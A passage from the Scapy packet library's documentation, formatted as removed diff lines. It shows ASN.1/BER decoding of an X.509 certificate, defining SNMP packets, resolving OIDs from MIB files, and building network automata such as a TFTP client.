- ... RotSeJ/4I/1n9SQ6aF3Q92RhQVSji6UI0ilbm2BPJoPRYxJWSXakFsKlnUWs
- ... i4SVqBax7J/qJBrvuVdcmiQhLE0OcR+mrF1FdAOYxFSMFkpBd4aVdQxHAWZg
- ... /BXxD+r1FHjHDtdugRxev17nOirYlxcwfACtCJ0zr7iZYYCLqJV+FNwSbKTQ
- ... 2O9ASQI2+W6p1h2WVgSysy0WVoaP2SBXgM1nEG2wTPDaRrbqJS5Gr42whTg0
- ... ixQmgiusrpkLjhTXUr2eacOGAgvqdnUxCc4zGSGFQ+aJLZ8lN2fxI2rSAG2X
- ... +Z/nKcrdH9cG6rjJuQkhn8g/BsXS6RJGAE57COtCPStIbp1n3UsC5ETzkxml
- ... J85per5n0/xQpCyrw2u544BMzwVhSyvcG7mm0tCq9Stz+86QNZ8MUhy/XCFh
- ... EVsVS6kkUfykXPcXnbDS+gfpj1bkGoxoigTTfFrjnqKhynFbotSg5ymFXQNo
- ... Kk/SBtc9+cMDLz9l+WceR0DTYw/j1Y75hauXTLPXJuuWCpTehTacyH+BCQJJ
- ... Kg71ZDIMgtG6aoIbs0t0EfOMd9afv9w3pKdVBC/UMejTRrkDfNoSTllkt1Ex
- ... MVCgyhwn2RAurda9EGYrw7AiShJbAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMB
- ... Af8wHQYDVR0OBBYEFE9pbQN+nZ8HGEO8txBO1b+pxCAoMB8GA1UdIwQYMBaA
- ... FE9pbQN+nZ8HGEO8txBO1b+pxCAoMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG
- ... 9w0BAQUFAAOCAgEAO/Ouyuguh4X7ZVnnrREUpVe8WJ8kEle7+z802u6teio0
- ... cnAxa8cZmIDJgt43d15Ui47y6mdPyXSEkVYJ1eV6moG2gcKtNuTxVBFT8zRF
- ... ASbI5Rq8NEQh3q0l/HYWdyGQgJhXnU7q7C+qPBR7V8F+GBRn7iTGvboVsNIY
- ... vbdVgaxTwOjdaRITQrcCtQVBynlQboIOcXKTRuidDV29rs4prWPVVRaAMCf/
- ... drr3uNZK49m1+VLQTkCpx+XCMseqdiThawVQ68W/ClTluUI8JPu3B5wwn3la
- ... 5uBAUhX0/Kr0VvlEl4ftDmVyXr4m+02kLQgH3thcoNyBM5kYJRF3p+v9WAks
- ... mWsbivNSPxpNSGDxoPYzAlOL7SUJuA0t7Zdz7NeWH45gDtoQmy8YJPamTQr5
- ... O8t1wswvziRpyQoijlmn94IM19drNZxDAGrElWe6nEXLuA4399xOAU++CrYD
- ... 062KRffaJ00psUjf5BHklka9bAI+1lHIlRcBFanyqqryvy9lG2/QuRqT9Y41
- ... xICHPpQvZuTpqP9BnHAqTyo5GJUefvthATxRCC4oGKQWDzH9OmwjkyB24f0H
- ... hdFbP9IcczLd+rn4jM8Ch3qaluTtT4mNU0OrDhPAARW0eTjb/G49nlG2uBOL
- ... Z8/5fNkiHfZdxRwBL5joeiQYvITX+txyW/fBOmg=
- ... """.decode("base64")
- >>> (dcert,remain) = BERcodec_Object.dec(cert)
- Traceback (most recent call last):
- File "<console>", line 1, in ?
- File "/usr/bin/scapy", line 2099, in dec
- return cls.do_dec(s, context, safe)
- File "/usr/bin/scapy", line 2094, in do_dec
- return codec.dec(s,context,safe)
- File "/usr/bin/scapy", line 2099, in dec
- return cls.do_dec(s, context, safe)
- File "/usr/bin/scapy", line 2218, in do_dec
- o,s = BERcodec_Object.dec(s, context, safe)
- File "/usr/bin/scapy", line 2099, in dec
- return cls.do_dec(s, context, safe)
- File "/usr/bin/scapy", line 2094, in do_dec
- return codec.dec(s,context,safe)
- File "/usr/bin/scapy", line 2099, in dec
- return cls.do_dec(s, context, safe)
- File "/usr/bin/scapy", line 2218, in do_dec
- o,s = BERcodec_Object.dec(s, context, safe)
- File "/usr/bin/scapy", line 2099, in dec
- return cls.do_dec(s, context, safe)
- File "/usr/bin/scapy", line 2092, in do_dec
- raise BER_Decoding_Error("Unknown prefix [%02x] for [%r]" % (p,t), remaining=s)
- BER_Decoding_Error: Unknown prefix [a0] for ['\xa0\x03\x02\x01\x02\x02\x01\x010\r\x06\t*\x86H...']
- ### Already decoded ###
- [[]]
- ### Remaining ###
- '\xa0\x03\x02\x01\x02\x02\x01\x010\r\x06\t*\x86H\x86\xf7\r\x01\x01\x05\x05\x000\x81\x831\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x1d0\x1b\x06\x03U\x04\n\x13\x14AOL Time Warner Inc.1\x1c0\x1a\x06\x03U\x04\x0b\x13\x13America Online Inc.1705\x06\x03U\x04\x03\x13.AOL Time Warner Root Certification Authority 20\x1e\x17\r020529060000Z\x17\r370928234300Z0\x81\x831\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x1d0\x1b\x06\x03U\x04\n\x13\x14AOL Time Warner Inc.1\x1c0\x1a\x06\x03U\x04\x0b\x13\x13America Online Inc.1705\x06\x03U\x04\x03\x13.AOL Time Warner Root Certification Authority 20\x82\x02"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x02\x0f\x000\x82\x02\n\x02\x82\x02\x01\x00\xb47Z\x08\x16\x99\x14\xe8U\xb1\x1b$k\xfc\xc7\x8b\xe6\x87\xa9\x89\xee\x8b\x99\xcdO@\x86\xa4\xb6M\xc9\xd9\xb1\xdc<M\r\x85L\x15lF\x8bRx\x9f\xf8#\xfdg\xf5$:h]\xd0\xf7daAT\xa3\x8b\xa5\x08\xd2)[\x9b`O&\x83\xd1c\x12VIv\xa4\x16\xc2\xa5\x9dE\xac\x8b\x84\x95\xa8\x16\xb1\xec\x9f\xea$\x1a\xef\xb9W\\\x9a$!,M\x0eq\x1f\xa6\xac]Et\x03\x98\xc4T\x8c\x16JAw\x86\x95u\x0cG\x01f`\xfc\x15\xf1\x0f\xea\xf5\x14x\xc7\x0e\xd7n\x81\x1c^\xbf^\xe7:*\xd8\x97\x170|\x00\xad\x08\x9d3\xaf\xb8\x99a\x80\x8b\xa8\x95~\x14\xdc\x12l\xa4\xd0\xd8\xef@I\x026\xf9n\xa9\xd6\x1d\x96V\x04\xb2\xb3-\x16V\x86\x8f\xd9 W\x80\xcdg\x10m\xb0L\xf0\xdaF\xb6\xea%.F\xaf\x8d\xb0\x8584\x8b\x14&\x82+\xac\xae\x99\x0b\x8e\x14\xd7R\xbd\x9ei\xc3\x86\x02\x0b\xeavu1\t\xce3\x19!\x85C\xe6\x89-\x9f%7g\xf1#j\xd2\x00m\x97\xf9\x9f\xe7)\xca\xdd\x1f\xd7\x06\xea\xb8\xc9\xb9\t!\x9f\xc8?\x06\xc5\xd2\xe9\x12F\x00N{\x08\xebB=+Hn\x9dg\xddK\x02\xe4D\xf3\x93\x19\xa5\'\xceiz\xbeg\xd3\xfcP\xa4,\xab\xc3k\xb9\xe3\x80L\xcf\x05aK+\xdc\x1b\xb9\xa6\xd2\xd0\xaa\xf5+s\xfb\xce\x905\x9f\x0cR\x1c\xbf\\!a\x11[\x15K\xa9$Q\xfc\xa4\\\xf7\x17\x9d\xb0\xd2\xfa\x07\xe9\x8fV\xe4\x1a\x8ch\x8a\x04\xd3|Z\xe3\x9e\xa2\xa1\xcaq[\xa2\xd4\xa0\xe7)\x85]\x03h*O\xd2\x06\xd7=\xf9\xc3\x03/?e\xf9g\x1eG@\xd3c\x0f\xe3\xd5\x8e\xf9\x85\xab\x97L\xb3\xd7&\xeb\x96\n\x94\xde\x856\x9c\xc8\x7f\x81\t\x02I*\x0e\xf5d2\x0c\x82\xd1\xbaj\x82\x1b\xb3Kt\x11\xf3\x8cw\xd6\x9f\xbf\xdc7\xa4\xa7U\x04/\xd41\xe8\xd3F\xb9\x03|\xda\x12NYd\xb7Q11P\xa0\xca\x1c\'\xd9\x10.\xad\xd6\xbd\x10f+\xc3\xb0"J\x12[\x02\x03\x01\x00\x01\xa3c0a0\x0f\x06\x03U\x1d\x13\x01\x01\xff\x04\x050\x03\x01\x01\xff0\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14Oim\x03~\x9d\x9f\x07\x18C\xbc\xb7\x10N\xd5\xbf\xa9\xc4 (0\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14Oim\x03~\x9d\x9f\x07\x18C\xbc\xb7\x10N\xd5\xbf\xa9\xc4 (0\x0e\x06\x03U\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x01\x860\r\x06\t*\x86H\x86\xf7\r\x01\x01\x05\x05\x00\x03\x82\x02\x01\x00;\xf3\xae\xca\xe8.\x87\x85\xfbeY\xe7\xad\x11\x14\xa5W\xbcX\x9f$\x12W\xbb\xfb?4\xda\xee\xadz*4rp1k\xc7\x19\x98\x80\xc9\x82\xde7w^T\x8b\x8e\xf2\xeagO\xc9t\x84\x91V\t\xd5\xe5z\x9a\x81\xb6\x81\xc2\xad6\xe4\xf1T\x11S\xf34E\x01&\xc8\xe5\x1a\xbc4D!\xde\xad%\xfcv\x16w!\x90\x80\x98W\x9dN\xea\xec/\xaa<\x14{W\xc1~\x18\x14g\xee$\xc6\xbd\xba\x15\xb0\xd2\x18\xbd\xb7U\x81\xacS\xc0\xe8\xddi\x12\x13B\xb7\x02\xb5\x05A\xcayPn\x82\x0eqr\x93F\xe8\x9d\r]\xbd\xae\xce)\xadc\xd5U\x16\x800\'\xffv\xba\xf7\xb8\xd6J\xe3\xd9\xb5\xf9R\xd0N@\xa9\xc7\xe5\xc22\xc7\xaav$\xe1k\x05P\xeb\xc5\xbf\nT\xe5\xb9B<$\xfb\xb7\x07\x9c0\x9fyZ\xe6\xe0@R\x15\xf4\xfc\xaa\xf4V\xf9D\x97\x87\xed\x0eer^\xbe&\xfbM\xa4-\x08\x07\xde\xd8\\\xa0\xdc\x813\x99\x18%\x11w\xa7\xeb\xfdX\t,\x99k\x1b\x8a\xf3R?\x1aMH`\xf1\xa0\xf63\x02S\x8b\xed%\t\xb8\r-\xed\x97s\xec\xd7\x96\x1f\x8e`\x0e\xda\x10\x9b/\x18$\xf6\xa6M\n\xf9;\xcbu\xc2\xcc/\xce$i\xc9\n"\x8eY\xa7\xf7\x82\x0c\xd7\xd7k5\x9cC\x00j\xc4\x95g\xba\x9cE\xcb\xb8\x0e7\xf7\xdcN\x01O\xbe\n\xb6\x03\xd3\xad\x8aE\xf7\xda\'M)\xb1H\xdf\xe4\x11\xe4\x96F\xbdl\x02>\xd6Q\xc8\x95\x17\x01\x15\xa9\xf2\xaa\xaa\xf2\xbf/e\x1bo\xd0\xb9\x1a\x93\xf5\x8e5\xc4\x80\x87>\x94/f\xe4\xe9\xa8\xffA\x9cp*O*9\x18\x95\x1e~\xfba\x01<Q\x08.(\x18\xa4\x16\x0f1\xfd:l#\x93 v\xe1\xfd\x07\x85\xd1[?\xd2\x1cs2\xdd\xfa\xb9\xf8\x8c\xcf\x02\x87z\x9a\x96\xe4\xedO\x89\x8dSC\xab\x0e\x13\xc0\x01\x15\xb4y8\xdb\xfcn=\x9eQ\xb6\xb8\x13\x8bg\xcf\xf9|\xd9"\x1d\xf6]\xc5\x1c\x01/\x98\xe8z$\x18\xbc\x84\xd7\xfa\xdcr[\xf7\xc1:h'
-
-The ``Context`` class must be specified::
-
- >>> (dcert,remain) = BERcodec_Object.dec(cert, context=ASN1_Class_X509)
- >>> dcert.show()
- # ASN1_SEQUENCE:
- # ASN1_SEQUENCE:
- # ASN1_X509_CONT0:
- <ASN1_INTEGER[2L]>
- <ASN1_INTEGER[1L]>
- # ASN1_SEQUENCE:
- <ASN1_OID['.1.2.840.113549.1.1.5']>
- <ASN1_NULL[0L]>
- # ASN1_SEQUENCE:
- # ASN1_SET:
- # ASN1_SEQUENCE:
- <ASN1_OID['.2.5.4.6']>
- <ASN1_PRINTABLE_STRING['US']>
- # ASN1_SET:
- # ASN1_SEQUENCE:
- <ASN1_OID['.2.5.4.10']>
- <ASN1_PRINTABLE_STRING['AOL Time Warner Inc.']>
- # ASN1_SET:
- # ASN1_SEQUENCE:
- <ASN1_OID['.2.5.4.11']>
- <ASN1_PRINTABLE_STRING['America Online Inc.']>
- # ASN1_SET:
- # ASN1_SEQUENCE:
- <ASN1_OID['.2.5.4.3']>
- <ASN1_PRINTABLE_STRING['AOL Time Warner Root Certification Authority 2']>
- # ASN1_SEQUENCE:
- <ASN1_UTC_TIME['020529060000Z']>
- <ASN1_UTC_TIME['370928234300Z']>
- # ASN1_SEQUENCE:
- # ASN1_SET:
- # ASN1_SEQUENCE:
- <ASN1_OID['.2.5.4.6']>
- <ASN1_PRINTABLE_STRING['US']>
- # ASN1_SET:
- # ASN1_SEQUENCE:
- <ASN1_OID['.2.5.4.10']>
- <ASN1_PRINTABLE_STRING['AOL Time Warner Inc.']>
- # ASN1_SET:
- # ASN1_SEQUENCE:
- <ASN1_OID['.2.5.4.11']>
- <ASN1_PRINTABLE_STRING['America Online Inc.']>
- # ASN1_SET:
- # ASN1_SEQUENCE:
- <ASN1_OID['.2.5.4.3']>
- <ASN1_PRINTABLE_STRING['AOL Time Warner Root Certification Authority 2']>
- # ASN1_SEQUENCE:
- # ASN1_SEQUENCE:
- <ASN1_OID['.1.2.840.113549.1.1.1']>
- <ASN1_NULL[0L]>
- <ASN1_BIT_STRING['\x000\x82\x02\n\x02\x82\x02\x01\x00\xb47Z\x08\x16\x99\x14\xe8U\xb1\x1b$k\xfc\xc7\x8b\xe6\x87\xa9\x89\xee\x8b\x99\xcdO@\x86\xa4\xb6M\xc9\xd9\xb1\xdc<M\r\x85L\x15lF\x8bRx\x9f\xf8#\xfdg\xf5$:h]\xd0\xf7daAT\xa3\x8b\xa5\x08\xd2)[\x9b`O&\x83\xd1c\x12VIv\xa4\x16\xc2\xa5\x9dE\xac\x8b\x84\x95\xa8\x16\xb1\xec\x9f\xea$\x1a\xef\xb9W\\\x9a$!,M\x0eq\x1f\xa6\xac]Et\x03\x98\xc4T\x8c\x16JAw\x86\x95u\x0cG\x01f`\xfc\x15\xf1\x0f\xea\xf5\x14x\xc7\x0e\xd7n\x81\x1c^\xbf^\xe7:*\xd8\x97\x170|\x00\xad\x08\x9d3\xaf\xb8\x99a\x80\x8b\xa8\x95~\x14\xdc\x12l\xa4\xd0\xd8\xef@I\x026\xf9n\xa9\xd6\x1d\x96V\x04\xb2\xb3-\x16V\x86\x8f\xd9 W\x80\xcdg\x10m\xb0L\xf0\xdaF\xb6\xea%.F\xaf\x8d\xb0\x8584\x8b\x14&\x82+\xac\xae\x99\x0b\x8e\x14\xd7R\xbd\x9ei\xc3\x86\x02\x0b\xeavu1\t\xce3\x19!\x85C\xe6\x89-\x9f%7g\xf1#j\xd2\x00m\x97\xf9\x9f\xe7)\xca\xdd\x1f\xd7\x06\xea\xb8\xc9\xb9\t!\x9f\xc8?\x06\xc5\xd2\xe9\x12F\x00N{\x08\xebB=+Hn\x9dg\xddK\x02\xe4D\xf3\x93\x19\xa5\'\xceiz\xbeg\xd3\xfcP\xa4,\xab\xc3k\xb9\xe3\x80L\xcf\x05aK+\xdc\x1b\xb9\xa6\xd2\xd0\xaa\xf5+s\xfb\xce\x905\x9f\x0cR\x1c\xbf\\!a\x11[\x15K\xa9$Q\xfc\xa4\\\xf7\x17\x9d\xb0\xd2\xfa\x07\xe9\x8fV\xe4\x1a\x8ch\x8a\x04\xd3|Z\xe3\x9e\xa2\xa1\xcaq[\xa2\xd4\xa0\xe7)\x85]\x03h*O\xd2\x06\xd7=\xf9\xc3\x03/?e\xf9g\x1eG@\xd3c\x0f\xe3\xd5\x8e\xf9\x85\xab\x97L\xb3\xd7&\xeb\x96\n\x94\xde\x856\x9c\xc8\x7f\x81\t\x02I*\x0e\xf5d2\x0c\x82\xd1\xbaj\x82\x1b\xb3Kt\x11\xf3\x8cw\xd6\x9f\xbf\xdc7\xa4\xa7U\x04/\xd41\xe8\xd3F\xb9\x03|\xda\x12NYd\xb7Q11P\xa0\xca\x1c\'\xd9\x10.\xad\xd6\xbd\x10f+\xc3\xb0"J\x12[\x02\x03\x01\x00\x01']>
- # ASN1_X509_CONT3:
- # ASN1_SEQUENCE:
- # ASN1_SEQUENCE:
- <ASN1_OID['.2.5.29.19']>
- <ASN1_BOOLEAN[-1L]>
- <ASN1_STRING['0\x03\x01\x01\xff']>
- # ASN1_SEQUENCE:
- <ASN1_OID['.2.5.29.14']>
- <ASN1_STRING['\x04\x14Oim\x03~\x9d\x9f\x07\x18C\xbc\xb7\x10N\xd5\xbf\xa9\xc4 (']>
- # ASN1_SEQUENCE:
- <ASN1_OID['.2.5.29.35']>
- <ASN1_STRING['0\x16\x80\x14Oim\x03~\x9d\x9f\x07\x18C\xbc\xb7\x10N\xd5\xbf\xa9\xc4 (']>
- # ASN1_SEQUENCE:
- <ASN1_OID['.2.5.29.15']>
- <ASN1_BOOLEAN[-1L]>
- <ASN1_STRING['\x03\x02\x01\x86']>
- # ASN1_SEQUENCE:
- <ASN1_OID['.1.2.840.113549.1.1.5']>
- <ASN1_NULL[0L]>
- <ASN1_BIT_STRING['\x00;\xf3\xae\xca\xe8.\x87\x85\xfbeY\xe7\xad\x11\x14\xa5W\xbcX\x9f$\x12W\xbb\xfb?4\xda\xee\xadz*4rp1k\xc7\x19\x98\x80\xc9\x82\xde7w^T\x8b\x8e\xf2\xeagO\xc9t\x84\x91V\t\xd5\xe5z\x9a\x81\xb6\x81\xc2\xad6\xe4\xf1T\x11S\xf34E\x01&\xc8\xe5\x1a\xbc4D!\xde\xad%\xfcv\x16w!\x90\x80\x98W\x9dN\xea\xec/\xaa<\x14{W\xc1~\x18\x14g\xee$\xc6\xbd\xba\x15\xb0\xd2\x18\xbd\xb7U\x81\xacS\xc0\xe8\xddi\x12\x13B\xb7\x02\xb5\x05A\xcayPn\x82\x0eqr\x93F\xe8\x9d\r]\xbd\xae\xce)\xadc\xd5U\x16\x800\'\xffv\xba\xf7\xb8\xd6J\xe3\xd9\xb5\xf9R\xd0N@\xa9\xc7\xe5\xc22\xc7\xaav$\xe1k\x05P\xeb\xc5\xbf\nT\xe5\xb9B<$\xfb\xb7\x07\x9c0\x9fyZ\xe6\xe0@R\x15\xf4\xfc\xaa\xf4V\xf9D\x97\x87\xed\x0eer^\xbe&\xfbM\xa4-\x08\x07\xde\xd8\\\xa0\xdc\x813\x99\x18%\x11w\xa7\xeb\xfdX\t,\x99k\x1b\x8a\xf3R?\x1aMH`\xf1\xa0\xf63\x02S\x8b\xed%\t\xb8\r-\xed\x97s\xec\xd7\x96\x1f\x8e`\x0e\xda\x10\x9b/\x18$\xf6\xa6M\n\xf9;\xcbu\xc2\xcc/\xce$i\xc9\n"\x8eY\xa7\xf7\x82\x0c\xd7\xd7k5\x9cC\x00j\xc4\x95g\xba\x9cE\xcb\xb8\x0e7\xf7\xdcN\x01O\xbe\n\xb6\x03\xd3\xad\x8aE\xf7\xda\'M)\xb1H\xdf\xe4\x11\xe4\x96F\xbdl\x02>\xd6Q\xc8\x95\x17\x01\x15\xa9\xf2\xaa\xaa\xf2\xbf/e\x1bo\xd0\xb9\x1a\x93\xf5\x8e5\xc4\x80\x87>\x94/f\xe4\xe9\xa8\xffA\x9cp*O*9\x18\x95\x1e~\xfba\x01<Q\x08.(\x18\xa4\x16\x0f1\xfd:l#\x93 v\xe1\xfd\x07\x85\xd1[?\xd2\x1cs2\xdd\xfa\xb9\xf8\x8c\xcf\x02\x87z\x9a\x96\xe4\xedO\x89\x8dSC\xab\x0e\x13\xc0\x01\x15\xb4y8\xdb\xfcn=\x9eQ\xb6\xb8\x13\x8bg\xcf\xf9|\xd9"\x1d\xf6]\xc5\x1c\x01/\x98\xe8z$\x18\xbc\x84\xd7\xfa\xdcr[\xf7\xc1:h']>
-
-ASN.1 layers
-^^^^^^^^^^^^
-
-While this may be nice, it's only an ASN.1 encoder/decoder. Nothing related to Scapy yet.
-
-ASN.1 fields
-~~~~~~~~~~~~
-
-Scapy provides ASN.1 fields. They will wrap ASN.1 objects and provide the necessary logic to bind a field name to the value. ASN.1 packets will be described as a tree of ASN.1 fields. Then each field name will be made available as a normal ``Packet`` object, in a flat flavor (ex: to access the version field of a SNMP packet, you don't need to know how many containers wrap it).
-
-Each ASN.1 field is linked to an ASN.1 object through its tag.
-
-
-ASN.1 packets
-~~~~~~~~~~~~~
-
-ASN.1 packets inherit from the Packet class. Instead of a ``fields_desc`` list of fields, they define ``ASN1_codec`` and ``ASN1_root`` attributes. The first one is a codec (for example: ``ASN1_Codecs.BER``), the second one is a tree compounded with ASN.1 fields.
-
-A complete example: SNMP
-------------------------
-
-SNMP defines new ASN.1 objects. We need to define them::
-
- class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL):
- name="SNMP"
- PDU_GET = 0xa0
- PDU_NEXT = 0xa1
- PDU_RESPONSE = 0xa2
- PDU_SET = 0xa3
- PDU_TRAPv1 = 0xa4
- PDU_BULK = 0xa5
- PDU_INFORM = 0xa6
- PDU_TRAPv2 = 0xa7
-
-These objects are PDU, and are in fact new names for a sequence container (this is generally the case for context objects: they are old containers with new names). This means creating the corresponding ASN.1 objects and BER codecs is simplistic::
-
- class ASN1_SNMP_PDU_GET(ASN1_SEQUENCE):
- tag = ASN1_Class_SNMP.PDU_GET
-
- class ASN1_SNMP_PDU_NEXT(ASN1_SEQUENCE):
- tag = ASN1_Class_SNMP.PDU_NEXT
-
- # [...]
-
- class BERcodec_SNMP_PDU_GET(BERcodec_SEQUENCE):
- tag = ASN1_Class_SNMP.PDU_GET
-
- class BERcodec_SNMP_PDU_NEXT(BERcodec_SEQUENCE):
- tag = ASN1_Class_SNMP.PDU_NEXT
-
- # [...]
-
-Metaclasses provide the magic behind the fact that everything is automatically registered and that ASN.1 objects and BER codecs can find each other.
-
-The ASN.1 fields are also trivial::
-
- class ASN1F_SNMP_PDU_GET(ASN1F_SEQUENCE):
- ASN1_tag = ASN1_Class_SNMP.PDU_GET
-
- class ASN1F_SNMP_PDU_NEXT(ASN1F_SEQUENCE):
- ASN1_tag = ASN1_Class_SNMP.PDU_NEXT
-
- # [...]
-
-Now, the hard part, the ASN.1 packet::
-
- SNMP_error = { 0: "no_error",
- 1: "too_big",
- # [...]
- }
-
- SNMP_trap_types = { 0: "cold_start",
- 1: "warm_start",
- # [...]
- }
-
- class SNMPvarbind(ASN1_Packet):
- ASN1_codec = ASN1_Codecs.BER
- ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("oid","1.3"),
- ASN1F_field("value",ASN1_NULL(0))
- )
-
-
- class SNMPget(ASN1_Packet):
- ASN1_codec = ASN1_Codecs.BER
- ASN1_root = ASN1F_SNMP_PDU_GET( ASN1F_INTEGER("id",0),
- ASN1F_enum_INTEGER("error",0, SNMP_error),
- ASN1F_INTEGER("error_index",0),
- ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind)
- )
-
- class SNMPnext(ASN1_Packet):
- ASN1_codec = ASN1_Codecs.BER
- ASN1_root = ASN1F_SNMP_PDU_NEXT( ASN1F_INTEGER("id",0),
- ASN1F_enum_INTEGER("error",0, SNMP_error),
- ASN1F_INTEGER("error_index",0),
- ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind)
- )
- # [...]
-
- class SNMP(ASN1_Packet):
- ASN1_codec = ASN1_Codecs.BER
- ASN1_root = ASN1F_SEQUENCE(
- ASN1F_enum_INTEGER("version", 1, {0:"v1", 1:"v2c", 2:"v2", 3:"v3"}),
- ASN1F_STRING("community","public"),
- ASN1F_CHOICE("PDU", SNMPget(),
- SNMPget, SNMPnext, SNMPresponse, SNMPset,
- SNMPtrapv1, SNMPbulk, SNMPinform, SNMPtrapv2)
- )
- def answers(self, other):
- return ( isinstance(self.PDU, SNMPresponse) and
- ( isinstance(other.PDU, SNMPget) or
- isinstance(other.PDU, SNMPnext) or
- isinstance(other.PDU, SNMPset) ) and
- self.PDU.id == other.PDU.id )
- # [...]
- bind_layers( UDP, SNMP, sport=161)
- bind_layers( UDP, SNMP, dport=161)
-
-That wasn't that much difficult. If you think that can't be that short to implement SNMP encoding/decoding and that I may may have cut too much, just look at the complete source code.
-
-Now, how to use it? As usual::
-
- >>> a=SNMP(version=3, PDU=SNMPget(varbindlist=[SNMPvarbind(oid="1.2.3",value=5),
- ... SNMPvarbind(oid="3.2.1",value="hello")]))
- >>> a.show()
- ###[ SNMP ]###
- version= v3
- community= 'public'
- \PDU\
- |###[ SNMPget ]###
- | id= 0
- | error= no_error
- | error_index= 0
- | \varbindlist\
- | |###[ SNMPvarbind ]###
- | | oid= '1.2.3'
- | | value= 5
- | |###[ SNMPvarbind ]###
- | | oid= '3.2.1'
- | | value= 'hello'
- >>> hexdump(a)
- 0000 30 2E 02 01 03 04 06 70 75 62 6C 69 63 A0 21 02 0......public.!.
- 0010 01 00 02 01 00 02 01 00 30 16 30 07 06 02 2A 03 ........0.0...*.
- 0020 02 01 05 30 0B 06 02 7A 01 04 05 68 65 6C 6C 6F ...0...z...hello
- >>> send(IP(dst="1.2.3.4")/UDP()/SNMP())
- .
- Sent 1 packets.
- >>> SNMP(raw(a)).show()
- ###[ SNMP ]###
- version= <ASN1_INTEGER[3L]>
- community= <ASN1_STRING['public']>
- \PDU\
- |###[ SNMPget ]###
- | id= <ASN1_INTEGER[0L]>
- | error= <ASN1_INTEGER[0L]>
- | error_index= <ASN1_INTEGER[0L]>
- | \varbindlist\
- | |###[ SNMPvarbind ]###
- | | oid= <ASN1_OID['.1.2.3']>
- | | value= <ASN1_INTEGER[5L]>
- | |###[ SNMPvarbind ]###
- | | oid= <ASN1_OID['.3.2.1']>
- | | value= <ASN1_STRING['hello']>
-
-
-
-Resolving OID from a MIB
-------------------------
-
-About OID objects
-^^^^^^^^^^^^^^^^^
-
-OID objects are created with an ``ASN1_OID`` class::
-
- >>> o1=ASN1_OID("2.5.29.10")
- >>> o2=ASN1_OID("1.2.840.113549.1.1.1")
- >>> o1,o2
- (<ASN1_OID['.2.5.29.10']>, <ASN1_OID['.1.2.840.113549.1.1.1']>)
-
-Loading a MIB
-^^^^^^^^^^^^^
-
-Scapy can parse MIB files and become aware of a mapping between an OID and its name::
-
- >>> load_mib("mib/*")
- >>> o1,o2
- (<ASN1_OID['basicConstraints']>, <ASN1_OID['rsaEncryption']>)
-
-The MIB files I've used are attached to this page.
-
-Scapy's MIB database
-^^^^^^^^^^^^^^^^^^^^
-
-All MIB information is stored into the conf.mib object. This object can be used to find the OID of a name
-
-::
-
- >>> conf.mib.sha1_with_rsa_signature
- '1.2.840.113549.1.1.5'
-
-or to resolve an OID::
-
- >>> conf.mib._oidname("1.2.3.6.1.4.1.5")
- 'enterprises.5'
-
-It is even possible to graph it::
-
- >>> conf.mib._make_graph()
-
-
-
-Automata
-========
-
-Scapy enables to create easily network automata. Scapy does not stick to a specific model like Moore or Mealy automata. It provides a flexible way for you to choose you way to go.
-
-An automaton in Scapy is deterministic. It has different states. A start state and some end and error states. There are transitions from one state to another. Transitions can be transitions on a specific condition, transitions on the reception of a specific packet or transitions on a timeout. When a transition is taken, one or more actions can be run. An action can be bound to many transitions. Parameters can be passed from states to transitions and from transitions to states and actions.
-
-From a programmer's point of view, states, transitions and actions are methods from an Automaton subclass. They are decorated to provide meta-information needed in order for the automaton to work.
-
-First example
--------------
-
-Let's begin with a simple example. I take the convention to write states with capitals, but anything valid with Python syntax would work as well.
-
-::
-
- class HelloWorld(Automaton):
- @ATMT.state(initial=1)
- def BEGIN(self):
- print "State=BEGIN"
-
- @ATMT.condition(BEGIN)
- def wait_for_nothing(self):
- print "Wait for nothing..."
- raise self.END()
-
- @ATMT.action(wait_for_nothing)
- def on_nothing(self):
- print "Action on 'nothing' condition"
-
- @ATMT.state(final=1)
- def END(self):
- print "State=END"
-
-In this example, we can see 3 decorators:
-
-* ``ATMT.state`` that is used to indicate that a method is a state, and that can
- have initial, final and error optional arguments set to non-zero for special states.
-* ``ATMT.condition`` that indicate a method to be run when the automaton state
- reaches the indicated state. The argument is the name of the method representing that state
-* ``ATMT.action`` binds a method to a transition and is run when the transition is taken.
-
-Running this example gives the following result::
-
- >>> a=HelloWorld()
- >>> a.run()
- State=BEGIN
- Wait for nothing...
- Action on 'nothing' condition
- State=END
-
-This simple automaton can be described with the following graph:
-
-.. image:: graphics/ATMT_HelloWorld.*
-
-The graph can be automatically drawn from the code with::
-
- >>> HelloWorld.graph()
-
-Changing states
----------------
-
-The ``ATMT.state`` decorator transforms a method into a function that returns an exception. If you raise that exception, the automaton state will be changed. If the change occurs in a transition, actions bound to this transition will be called. The parameters given to the function replacing the method will be kept and finally delivered to the method. The exception has a method action_parameters that can be called before it is raised so that it will store parameters to be delivered to all actions bound to the current transition.
-
-As an example, let's consider the following state::
-
- @ATMT.state()
- def MY_STATE(self, param1, param2):
- print "state=MY_STATE. param1=%r param2=%r" % (param1, param2)
-
-This state will be reached with the following code::
-
- @ATMT.receive_condition(ANOTHER_STATE)
- def received_ICMP(self, pkt):
- if ICMP in pkt:
- raise self.MY_STATE("got icmp", pkt[ICMP].type)
-
-Let's suppose we want to bind an action to this transition, that will also need some parameters::
-
- @ATMT.action(received_ICMP)
- def on_ICMP(self, icmp_type, icmp_code):
- self.retaliate(icmp_type, icmp_code)
-
-The condition should become::
-
- @ATMT.receive_condition(ANOTHER_STATE)
- def received_ICMP(self, pkt):
- if ICMP in pkt:
- raise self.MY_STATE("got icmp", pkt[ICMP].type).action_parameters(pkt[ICMP].type, pkt[ICMP].code)
-
-Real example
-------------
-
-Here is a real example take from Scapy. It implements a TFTP client that can issue read requests.
-
-.. image:: graphics/ATMT_TFTP_read.*
-
-::
-
- class TFTP_read(Automaton):
- def parse_args(self, filename, server, sport = None, port=69, **kargs):
- Automaton.parse_args(self, **kargs)
- self.filename = filename
- self.server = server
- self.port = port
